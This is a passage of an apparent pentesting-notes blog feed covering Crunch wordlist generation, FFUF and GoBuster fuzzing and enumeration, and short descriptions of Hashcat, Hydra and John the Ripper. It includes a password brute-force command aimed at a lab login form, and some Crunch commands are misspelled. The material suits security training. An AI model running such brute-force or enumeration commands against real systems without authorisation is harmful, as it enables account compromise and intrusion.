&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Example2: Crunch display a wordlist using character set `abcdefg` that starts at `a` and ends at `gggggg`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crunch &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; abcdefg
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Example3: there is a space at the end of the character string.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# inorder for crunch to use the space you will need to escape it using the `\` character. In this exampleyou could also put quotes around the letter and not need the `\`. i.e. &amp;#34;abcdefg &amp;#34;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cruch &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; abcdefg&lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Example4: crunch will use the mixalpha-numeric-all-space character set from charset.lst and will write the wordlist to a file named wordlist.txt. The file will start witl `a` and end with &amp;#34; &amp;#34;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cruch &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o wordlist.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Example5: Now same as above, but we use patten to filter out.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# now file start at `cbddogaaa` and end at ` dog `&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# -t --&amp;gt; to specify the pattern&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# -s --&amp;gt; Specifies a starting string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crunch &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog@@@ -s cbdogaaa
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Example 7. The numbers aren&amp;#39;t processed but are needed:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#When you use the -p flag with characters, Crunch focuses on permutations of the specified string for all possible lengths. ( no repetition of charaters)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cruch &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; -p abc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Example8: crunch will generate bzip2 compressed files with each file containing 6000 words.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# -c 6000: This option defines the number of words that will be written to the output file at a time.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# wordlist.txt is bzip compressed, uncompress it with bzip2 -d wordlist.txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crunch &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; -o wordlist.txt -c &lt;span style="color:#ae81ff"&gt;6000&lt;/span&gt; -z bzip2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Example 10. will generate 4 files: aaaa-gvfed.txt, gvfee-ombqy.txt, ombqz-wcydt.txt, wcydu-zzzzz.txt the first three files are 20MBs (real power of 2 MegaBytes) and the last file is 11MB.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crunch &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; -b 20mib -o wordlist.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>FFUF (Fuzz faster you fool)</title><link>https://silent-resistor.github.io/resources/jr-pentester/ffuf/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/ffuf/</guid><description>&lt;p&gt;A fast web fuzzer written in Go.&lt;/p&gt;
&lt;h2 id="wordlists"&gt;Wordlists&lt;/h2&gt;
&lt;h4 id="typical-fuzzing"&gt;Typical fuzzing&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ffuf -u 'http://10.49.149.19:1337/' -d 'email=tester%40hammer.thm&amp;amp;password=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.49.149.19:1337' -H 'Cookie: PHPSESSID=md4lrhv2gqqains5nsr8j7fns9' -w /usr/share/wordlists/rockyou.txt -t 1000 -fr 'Invalid Email or Password!'&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="typical-directory-discovery"&gt;Typical directory discovery&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ffuf -w wordlist.txt -u 'https://ffuf.io.fi/FUZZ'&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="custom-fuzz-keyword-example"&gt;Custom FUZZ keyword example&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ffuf -w wordlist.txt:MYCUSTOMKEYWORD -u 'https://ffuf.io.fi/MYCUSTOMKEYWORD'&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="multi-wordlist-example"&gt;Multi-wordlist example&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ffuf -w domains.txt:DOMAIN -w wordlist.txt:WORD -u 'https://DOMAIN/WORD'&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="multi-wordlist-clusterbomb-example"&gt;Multi-wordlist clusterbomb example&lt;/h4&gt;
&lt;p&gt;This is the default mode for multi-wordlists, and is active if no other -mode is selected.&lt;br&gt;
First word of first wordlist is tested against all the words from the second wordlist before moving along to test the second word in first wordlist against all the words in the second wordlist.&lt;br&gt;
&lt;code&gt;ffuf -mode clusterbomb -w domains.txt:DOMAIN -w wordlist.txt:WORD -u 'https://DOMAIN/WORD'&lt;/code&gt;&lt;/p&gt;</description></item><item><title>GoBuster</title><link>https://silent-resistor.github.io/resources/jr-pentester/gobuster/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/gobuster/</guid><description>&lt;ul&gt;
&lt;li&gt;Gobuster is an open-source offensive tool written in Golang.&lt;/li&gt;
&lt;li&gt;It enumerates web directories, DNS subdomains, vhosts, Amazon S3 buckets, and Google Cloud Storage by brute force, using specific wordlists and handling the incoming responses.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Enumeration&lt;/code&gt; is the act of listing all the available resources, whether they are accessible or not. For example, Gobuster enumerates web directories.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Brute-force&lt;/code&gt; is the act of trying every possibility until a match is found. It is like having ten keys and trying them all on a lock until one fits. Gobuster uses wordlists for this purpose.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="gobuster-operation-modes"&gt;GoBuster Operation modes&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dir - Uses directory/file enumeration mode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dns - Uses DNS subdomain enumeration mode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fuzz - Uses fuzzing mode. Replaces the keyword FUZZ in the URL, Headers and the request body
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; vhost Uses VHOST enumeration mode &lt;span style="color:#f92672"&gt;(&lt;/span&gt;you most probably want to use the IP address as the URL parameter&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; gcs - Uses gcs bucket enumeration mode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; s3 - Uses aws bucket enumeration mode
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="directory-enumeration"&gt;Directory Enumeration&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Directory enumeration, with 64 threads&lt;br&gt;
&lt;code&gt;gobuster dir -u &amp;quot;http://www.example.thm/&amp;quot; -w /usr/share/wordlists/dirb/small.txt -t 64&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Hashcat</title><link>https://silent-resistor.github.io/resources/jr-pentester/hashcat/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/hashcat/</guid><description>&lt;ul&gt;
&lt;li&gt;hashcat is the world&amp;rsquo;s fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Hydra</title><link>https://silent-resistor.github.io/resources/jr-pentester/hydra/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/hydra/</guid><description>&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Hydra is a brute force online password cracking program, a quick system login password “hacking” tool.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;According to its official repository, Hydra supports, i.e., has the ability to brute force the following protocols:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Asterisk&lt;/code&gt;, &lt;code&gt;AFP&lt;/code&gt;, &lt;code&gt;Cisco AAA&lt;/code&gt;, &lt;code&gt;Cisco auth&lt;/code&gt;, &lt;code&gt;Cisco enable&lt;/code&gt;, &lt;code&gt;CVS&lt;/code&gt;, &lt;code&gt;Firebird&lt;/code&gt;, &lt;code&gt;FTP&lt;/code&gt;, &lt;code&gt;HTTP-FORM-GET&lt;/code&gt;, &lt;code&gt;HTTP-FORM-POST&lt;/code&gt;, &lt;code&gt;HTTP-GET&lt;/code&gt;, &lt;code&gt;HTTP-HEAD&lt;/code&gt;, &lt;code&gt;HTTP-POST&lt;/code&gt;, &lt;code&gt;HTTP-PROXY&lt;/code&gt;, &lt;code&gt;HTTPS-FORM-GET&lt;/code&gt;, &lt;code&gt;HTTPS-FORM-POST&lt;/code&gt;, &lt;code&gt;HTTPS-GET&lt;/code&gt;, &lt;code&gt;HTTPS-HEAD&lt;/code&gt;, &lt;code&gt;HTTPS-POST&lt;/code&gt;, &lt;code&gt;HTTP-Proxy&lt;/code&gt;, &lt;code&gt;ICQ&lt;/code&gt;, &lt;code&gt;IMAP&lt;/code&gt;, &lt;code&gt;IRC&lt;/code&gt;, &lt;code&gt;LDAP&lt;/code&gt;, &lt;code&gt;MEMCACHED&lt;/code&gt;, &lt;code&gt;MONGODB&lt;/code&gt;, &lt;code&gt;MS-SQL&lt;/code&gt;, &lt;code&gt;MYSQL&lt;/code&gt;, &lt;code&gt;NCP&lt;/code&gt;, &lt;code&gt;NNTP&lt;/code&gt;, &lt;code&gt;Oracle Listener&lt;/code&gt;, &lt;code&gt;Oracle SID&lt;/code&gt;, &lt;code&gt;Oracle&lt;/code&gt;, &lt;code&gt;PC-Anywhere&lt;/code&gt;, &lt;code&gt;PCNFS&lt;/code&gt;, &lt;code&gt;POP3&lt;/code&gt;, &lt;code&gt;POSTGRES&lt;/code&gt;, &lt;code&gt;Radmin&lt;/code&gt;, &lt;code&gt;RDP&lt;/code&gt;, &lt;code&gt;Rexec&lt;/code&gt;, &lt;code&gt;Rlogin&lt;/code&gt;, &lt;code&gt;Rsh&lt;/code&gt;, &lt;code&gt;RTSP&lt;/code&gt;, &lt;code&gt;SAP/R3&lt;/code&gt;, &lt;code&gt;SIP&lt;/code&gt;, &lt;code&gt;SMB&lt;/code&gt;, &lt;code&gt;SMTP&lt;/code&gt;, &lt;code&gt;SMTP Enum&lt;/code&gt;, &lt;code&gt;SNMP v1+v2+v3&lt;/code&gt;, &lt;code&gt;SOCKS5&lt;/code&gt;, &lt;code&gt;SSH (v1 and v2)&lt;/code&gt;, &lt;code&gt;SSHKEY&lt;/code&gt;, &lt;code&gt;Subversion&lt;/code&gt;, &lt;code&gt;TeamSpeak (TS2)&lt;/code&gt;, &lt;code&gt;Telnet&lt;/code&gt;, &lt;code&gt;VMware-Auth&lt;/code&gt;, &lt;code&gt;VNC&lt;/code&gt;, and &lt;code&gt;XMPP&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Please have a look hydra options we have&lt;/p&gt;</description></item><item><title>John the Ripper</title><link>https://silent-resistor.github.io/resources/jr-pentester/john-the-ripper/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/john-the-ripper/</guid><description>&lt;ul&gt;
&lt;li&gt;John the Ripper is a well-known, well-loved, and versatile hash-cracking tool. It combines a fast cracking speed with an extraordinary range of compatible hash types.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="basics"&gt;Basics&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Hash&lt;/code&gt;: A hash is a way of taking a piece of data of any length and representing it in another fixed-length form. This process masks the original value of the data. The hash value is obtained by running the original data through a hashing algorithm. Many popular hashing algorithms exist, such as MD4, MD5, SHA1 and NTLM. Let’s try and show this with an example:&lt;/p&gt;</description></item><item><title>Showcase</title><link>https://silent-resistor.github.io/showcase/</link><pubDate>Mon, 11 Mar 2019 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/showcase/</guid><description>&lt;p&gt;This article offers a sample of basic Markdown syntax that can be used in Hugo content files, also it shows whether basic HTML elements are decorated with CSS in a Hugo theme.&lt;/p&gt;</description></item></channel></rss>